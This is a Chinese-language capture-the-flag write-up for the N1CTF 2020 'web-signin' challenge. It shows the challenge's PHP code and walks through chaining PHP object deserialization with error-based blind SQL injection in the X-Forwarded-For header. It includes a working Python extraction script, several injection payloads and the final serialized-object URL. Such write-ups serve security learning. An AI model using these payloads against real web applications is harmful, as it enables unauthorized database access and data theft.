N1ctf-web-signin

October 20, 2020 CTF-Writeup 访问: 40 次

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        if(md5($this->check)===md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
}

给了flag类和IP类,获取flag是在flag类里有一个getflag函数,但是我们必须要先获取到key

在IP类中,有一个__toString方法中存在SQL注入,所以本题的key可能是在数据库里

题目中存在waf,我们先把过滤的关键字给找出来

BpufQs.jpg

上面的就是被过滤的字符

一开始我想着用盲注来获取key,但是发现sleepBENCHMARK函数给过滤了,当时也没想到其他的办法

再看代码发现,在处理sql语句的时候,如果sql执行正常的话会返回your ip looks ok!,如果不正常的话会返回报错信息

我们只有在flag类中__wakeup函数的stristr函数才能把IP类当成字符串来处理,进而触发__toString方法执行

我们可以通过报错注入配合if盲注,让页面显示以下两个不同的页面返回

public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }

获取key的exp:

import requests
# enc = [0x35,0x2D,0x11,0x1A,0x49,0x7D,0x11,0x14,0x2B,0x3B,0x3E,0x3D,0x3C,0x5F]
# key = "Linux version "
# flag = ""
# for x in range(len(enc)):
#     flag +=chr(enc[x]^(ord(key[x])+2))
# print flag
# #n1ctf{aaaaaaaaaaaa}


# concat(lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a'),lpad(1,9999999,'a')) regexp 'a.*'





# INSERT into n1ip(`ip`,`time`) VALUES ('asd' and updatexml(1,concat(0x7e,if(substr((select database())='n',1,1)),0x7e),1) and '','%s')
# asdf',IF((length(database())>={}),'1',(select sum(A.time)from n1ip A))),('a


# O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}







# insert into flag(id,username,password) value('1','asd' and updatexml(1,concat(0x7e,if(substr((select database()),1,1)='t','n1ctf',1),0x7e),1) and '','asd')




# 123.123.123.13' or updatexml(1,concat(0x7e,(select if((select substr(database(),1,1)='n'),'n1ctf',1))),0) or '

url = "http://101.32.205.189/index.php?input=%4f%3a%34%3a%22%66%6c%61%67%22%3a%32%3a%7b%73%3a%32%3a%22%69%70%22%3b%4f%3a%32%3a%22%69%70%22%3a%31%3a%7b%73%3a%32%3a%22%69%70%22%3b%73%3a%39%3a%22%31%32%37%2e%30%2e%30%2e%31%22%3b%7d%73%3a%35%3a%22%63%68%65%63%6b%22%3b%4e%3b%7d"


# headers = {
#     'x-forwarded-for':"123.123.123.13' and extractvalue(1,concat(0x7e,(select if((select substr(database(),1,1)='c'),'n1ctf',1)))) and '"
# }



headers = {
    'x-forwarded-for':"123.123.123.13' and extractvalue(1,concat(0x7e,(select if((select (select length(`key`) from n1key)=25),'n1ctf',1)))) and '"
}
flag = ""
for y in range(25):
    for x in range(32,128):
        headers['x-forwarded-for']="127.0.0.1' and extractvalue(1,concat(0x7e,(select if((select ascii(substr((select `key` from n1key),%s,1))=%s),'n1ctf',1)))) and '" % (str(y+1),str(x))
        r = requests.get(url,headers=headers)
        response = r.text
        response = response[1700+0x30:]
        # print headers['x-forwarded-for']
        if response.find('welcome to n1ctf2020')!=-1:
            flag +=chr(x)
            print flag
            # exit(0
        else:
            print "no"+chr(x)
print "-----"
print flag
# r = requests.get(url,headers=headers)
# response = r.text
# response = response[1700+0x30:]
# print response
'''
"

select group_concat(table_name) from information_schema.tables where table_schema='n1ctf_websign'
n1ip,n1key

id

n1ctf20205bf75ab0a30dfc0c
n1ctf20205bf75ab0a30dfc0c
n1ctf{you_g0t_1t_hack_for_fun}

headers = {
    'x-forwarded-for':"123.123.123.13' and extractvalue(1,concat(0x7e,(select if((select substr((select group_concat(table_name) from information_schema.tables where table_schema='n1ctf_websign'),11,1)='n'),'n1ctf',1)))) and '"
}
headers = {
    'x-forwarded-for':"123.123.123.13' and extractvalue(1,concat(0x7e,(select if((select (select length(group_concat(table_name)) from information_schema.tables where table_name='n1key')>1),'n1ctf',1)))) and '"
}
headers = {
    'x-forwarded-for':"123.123.123.13' and extractvalue(1,concat(0x7e,(select if((select (select length(group_concat(column_name)) from information_schema.columns where table_name='n1key')=6),'n1ctf',1)))) and '"
}
headers['x-forwarded-for']="127.0.0.1' and extractvalue(1,concat(0x7e,(select if((select substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'),%s,1)='%s'),'n1ctf',1)))) and '" % (str(y+1),chr(x))
'''



# print headers['x-forwarded-for']

# updatexml(1,concat(0x7e,(select if((select substr(database(),1,1)='c'),'n1ctf',1))),0)

然后通过反序列化来进行getflag,payload如下:
http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;s:5:%22n1ctf%22;s:5:%22check%22;s:25:%22n1ctf20205bf75ab0a30dfc0c%22;}

flag:n1ctf{you_g0t_1t_hack_for_fun}

添加新评论